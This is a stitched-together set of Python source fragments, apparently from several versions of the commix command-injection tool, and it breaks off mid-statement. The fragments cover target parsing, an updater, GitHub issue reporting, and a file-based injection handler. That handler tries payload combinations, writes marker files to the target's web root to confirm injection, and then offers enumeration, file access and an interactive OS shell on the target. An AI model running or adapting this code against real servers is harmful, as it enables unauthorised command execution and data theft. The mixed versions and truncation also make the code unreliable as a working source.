settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value for '" if not settings.SKIP_TECHNIQUES: err_msg += "--technique" else: err_msg += "--skip-technique" err_msg += "' must be a string composed by the letters C, E, T, F. " err_msg += "Refer to the official wiki for details." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (i.e. '--file-dest')." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_cred and settings.VERBOSITY_LEVEL >= 1: info_msg = "Used a valid pair of " + menu.options.auth_type info_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." print(settings.print_bold_info_msg(info_msg)) # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: url = crawler.crawler(url) try: if menu.options.flush_session: session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: if not settings.USE_BACKTICKS: settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: checks.file_upload() try: _urllib.request.urlopen(menu.options.file_upload) except _urllib.error.HTTPError as err_msg: print(settings.print_critical_msg(str(err_msg.code))) raise SystemExit() except _urllib.error.URLError as err_msg: print( settings.print_critical_msg( str(err_msg.args[0]).split("] ")[1] + ".")) raise SystemExit() try: # Webpage encoding detection. requests.encoding_detection(response) if response.info()['server']: server_banner = response.info()['server'] # Procedure for target server's operating system identification. requests.check_target_os(server_banner) # Procedure for target server identification. requests.server_identification(server_banner) # Procedure for target application identification requests.application_identification(server_banner, url) # Store the Server's root dir settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: menu.options.current_user = True # Define Python working directory. checks.define_py_working_dir() # Check for wrong flags. checks.check_wrong_flags() else: found_os_server = checks.user_defined_os() except KeyError: pass except AttributeError: pass # Load tamper scripts if menu.options.tamper: checks.tamper_scripts() except _urllib.error.HTTPError as err_msg: # Check the codes of responses if str(err_msg.getcode()) == settings.INTERNAL_SERVER_ERROR: print(settings.FAIL_STATUS) content = err_msg.read() raise SystemExit() # Invalid permission to access target URL page. elif str(err_msg.getcode()) == settings.FORBIDDEN_ERROR: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) err_msg = "You don't have permission to access this page." print(settings.print_critical_msg(err_msg)) raise SystemExit() # The target host seems to be down! elif str(err_msg.getcode()) == settings.NOT_FOUND_ERROR: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) err_msg = "The host seems to be down!" print(settings.print_critical_msg(err_msg)) raise SystemExit() else: raise # The target host seems to be down! except _urllib.error.URLError as e: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) err_msg = "The host seems to be down" try: err_msg += " (" + str(e.args[0]).split("] ")[1] + ")." except IndexError: err_msg += "." pass print(settings.print_critical_msg(err_msg)) raise SystemExit() except _http_client.BadStatusLine as err_msg: if settings.VERBOSITY_LEVEL < 2: print(settings.FAIL_STATUS) if len(err_msg.line) > 2: print(err_msg.line, err_msg.message) pass except _http_client.InvalidURL as err: print(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: pass else: err_msg = "You must specify the target URL." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Retrieve everything from the supported enumeration options. if menu.options.enum_all: checks.enable_all_enumeration_options() # Launch injection and exploitation controller. controller.do_check(url, filename) return filename # Accidental stop / restart of the target host server. except _http_client.BadStatusLine as err_msg: if err_msg.line == "" or err_msg.message == "": err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print("\n\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) else: err_msg = err_msg.line + err_msg.message print(settings.print_critical_msg(err_msg) + "\n") session_handler.clear(url) raise SystemExit() # Connection reset by peer except SocketError as err_msg: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print("\n" + settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url)
def logfile_parser(): """ Warning message for mutiple request in same log file. """ def multi_requests(): print(settings.SINGLE_WHITESPACE) err_msg = "Multiple" if menu.options.requestfile: err_msg += " requests" elif menu.options.logfile: err_msg += " targets" err_msg += " are not supported, thus all coming" if menu.options.requestfile: err_msg += " requests " elif menu.options.logfile: err_msg += " targets " err_msg += "will be ignored." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() return False """ Error message for invalid data. """ def invalid_data(request): print(settings.SINGLE_WHITESPACE) err_msg = "Specified file " err_msg += "'" + os.path.split(request_file)[1] + "'" err_msg += " does not contain a valid HTTP request." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() if menu.options.requestfile: info_msg = "Parsing HTTP request " request_file = menu.options.requestfile elif menu.options.logfile: info_msg = "Parsing target " request_file = menu.options.logfile info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if not os.path.exists(request_file): print(settings.SINGLE_WHITESPACE) err_msg = "It seems that the '" + request_file + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() else: try: if menu.options.requestfile: with open(request_file, 'r') as file: settings.RAW_HTTP_HEADERS = [line.strip() for line in file] settings.RAW_HTTP_HEADERS = [ header for header in settings.RAW_HTTP_HEADERS if header ] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] settings.RAW_HTTP_HEADERS = '\\n'.join( settings.RAW_HTTP_HEADERS) except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) raise SystemExit() if os.stat(request_file).st_size != 0: with open(request_file, 'r') as file: request = file.read() else: invalid_data(request_file) single_request = True pattern = r'HTTP/([\d.]+)' if len(re.findall(pattern, request)) > 1: single_request = multi_requests() if len(settings.HTTP_METHOD) == 0: http_method = request.strip().splitlines()[0].split()[0] settings.HTTP_METHOD = http_method else: http_method = settings.HTTP_METHOD if "\\n" in request: request = request.replace("\\n", "\n") request_url = re.findall(r"" + " (.*) HTTP/", request) if request_url: # Check last line for POST data if len(request.splitlines()[-1]) != 0: result = [item for item in request.splitlines() if item] multiple_xml = [] for item in result: if checks.is_XML_check(item): multiple_xml.append(item) if len(multiple_xml) != 0: menu.options.data = '\n'.join( [str(item) for item in multiple_xml]) else: menu.options.data = result[len(result) - 1] else: try: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace( "=", "=" + settings.INJECT_TAG, 1) except IndexError: invalid_data(request_file) # Check if invalid data if not request_url: invalid_data(request_file) else: request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join( [str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header if re.findall(r"User-Agent: " + "(.*)", line): menu.options.agent = "".join([ str(i) for i in re.findall(r"User-Agent: " + "(.*)", line) ]) # Cookie Header if re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join( [str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header if re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join( [str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" if re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([ str(i) for i in re.findall(r"Authorization: " + "(.*)", line) ]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": menu.options.auth_cred = base64.b64decode( auth_provided[1]).decode() elif menu.options.auth_type == "digest": if not menu.options.auth_cred: print(settings.SINGLE_WHITESPACE) err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " print(settings.print_critical_msg(err_msg)) raise SystemExit() # Add extra headers else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '", ":") match = match.replace("('", "") match = match.replace("')", "\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match # Extra headers menu.options.headers = extra_headers # Target URL if not menu.options.host: invalid_data(request_file) else: menu.options.url = prefix + menu.options.host + request_url if single_request: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) if menu.options.cookie: sub_content = "Cookie: " + menu.options.cookie print(settings.print_sub_content(sub_content)) if menu.options.data: sub_content = "POST data: " + menu.options.data print(settings.print_sub_content(sub_content)) # eof
elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() if menu.options.offline: settings.CHECK_FOR_UPDATES_ON_START = False # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() # Check if option is "-m" for multiple urls test. if menu.options.bulkfile: bulkfile = menu.options.bulkfile info_msg = "Parsing targets using the '" + os.path.split( bulkfile)[1] + "' file. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if not os.path.exists(bulkfile): print(settings.FAIL_STATUS) err_msg = "It seems that the '" + os.path.split( bulkfile)[1] + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() elif os.stat(bulkfile).st_size == 0: print(settings.FAIL_STATUS) err_msg = "It seems that the '" + os.path.split( bulkfile)[1] + "' file, is empty." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit()
def updater(): time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " via GitHub... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Check if windows if settings.IS_WINDOWS: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." print settings.print_critical_msg(err_msg) sys.exit(0) else: try: requirment = "git" # Check if 'git' is installed. requirments.do_check(requirment) if requirments.do_check(requirment) == True: # Check if ".git" exists! if os.path.isdir("./.git"): sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() start = 0 end = 0 start = time.time() print "---" subprocess.Popen("git reset --hard HEAD && git pull", shell=True).wait() # Delete *.pyc files. subprocess.Popen("find . -name \"*.pyc\" -delete", shell=True).wait() # Delete empty directories and files. subprocess.Popen("find . -empty -type d -delete", shell=True).wait() print "---" end = time.time() how_long = int(end - start) info_msg = "Finished in " + time.strftime( '%H:%M:%S', time.gmtime(how_long)) + "." print settings.print_info_msg(info_msg) print "" os._exit(0) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "The '.git' directory not found. Do it manually: " err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " print settings.print_critical_msg(err_msg) sys.exit(0) else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = requirment + " not found." print settings.print_critical_msg(err_msg) sys.exit(0) except Exception as err_msg: print "\n" + settings.print_critical_msg(err_msg) sys.exit(0)
"Authorization": "token " + str(settings.GITHUB_REPORT_OAUTH_TOKEN.decode("base64")) }) try: content = urllib2.urlopen(req).read() except Exception, err: content = None issue_url = re.search( r"https://github.com/commixproject/commix/issues/\d+", content or "") if issue_url: info_msg = "The created Github issue can been found at the address '" + str( issue_url.group(0)) + "'.\n" print settings.print_info_msg(info_msg) else: warn_msg = "Something went wrong while creating a Github issue." if "Unauthorized" in str(err): warn_msg += " Please update to the latest revision.\n" print settings.print_warning_msg(warn_msg) """ Masks sensitive data in the supplied message. """ def mask_sensitive_data(err_msg): for item in settings.SENSITIVE_OPTIONS: match = re.search(r"(?i)commix.+(" + str(item) + ")(\s+|=)([^ ]+)",
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results... " print settings.print_info_msg(info_msg) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise urllib2.HTTPError( url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print "" while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " sys.stdout.write( settings. print_question_msg( question_msg)) tmp_upload = sys.stdin.readline( ).replace("\n", "").lower() else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg( err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent ) + "%" else: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print "" print settings.print_critical_msg(err_msg) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) # if settings.VERBOSITY_LEVEL >= 1: # print "" delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: time.sleep(timesec) response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def logfile_parser(): """ Warning message for mutiple request in same log file. """ def multi_requests(): print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" warn_msg = "Multiple" if menu.options.requestfile: warn_msg += " requests" elif menu.options.logfile: warn_msg += " targets" warn_msg += " are not supported, thus all coming" if menu.options.requestfile: warn_msg += " requests " elif menu.options.logfile: warn_msg += " targets " warn_msg += "will be ignored." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() return False """ Error message for invalid data. """ def invalid_data(request, single_request): if single_request: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Something seems to be wrong with " err_msg += "the '" + os.path.split(request_file)[1] + "' file. " sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() sys.exit(0) if menu.options.requestfile: request_file = menu.options.requestfile info_msg = "Parsing HTTP request " elif menu.options.logfile: request_file = menu.options.logfile info_msg = "Parsing target " info_msg += "using the '" + os.path.split(request_file)[1] + "' file... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if not os.path.exists(request_file): print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "It seems that the '" + request_file + "' file, does not exists." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() sys.exit(0) else: # Check for multiple hosts request = 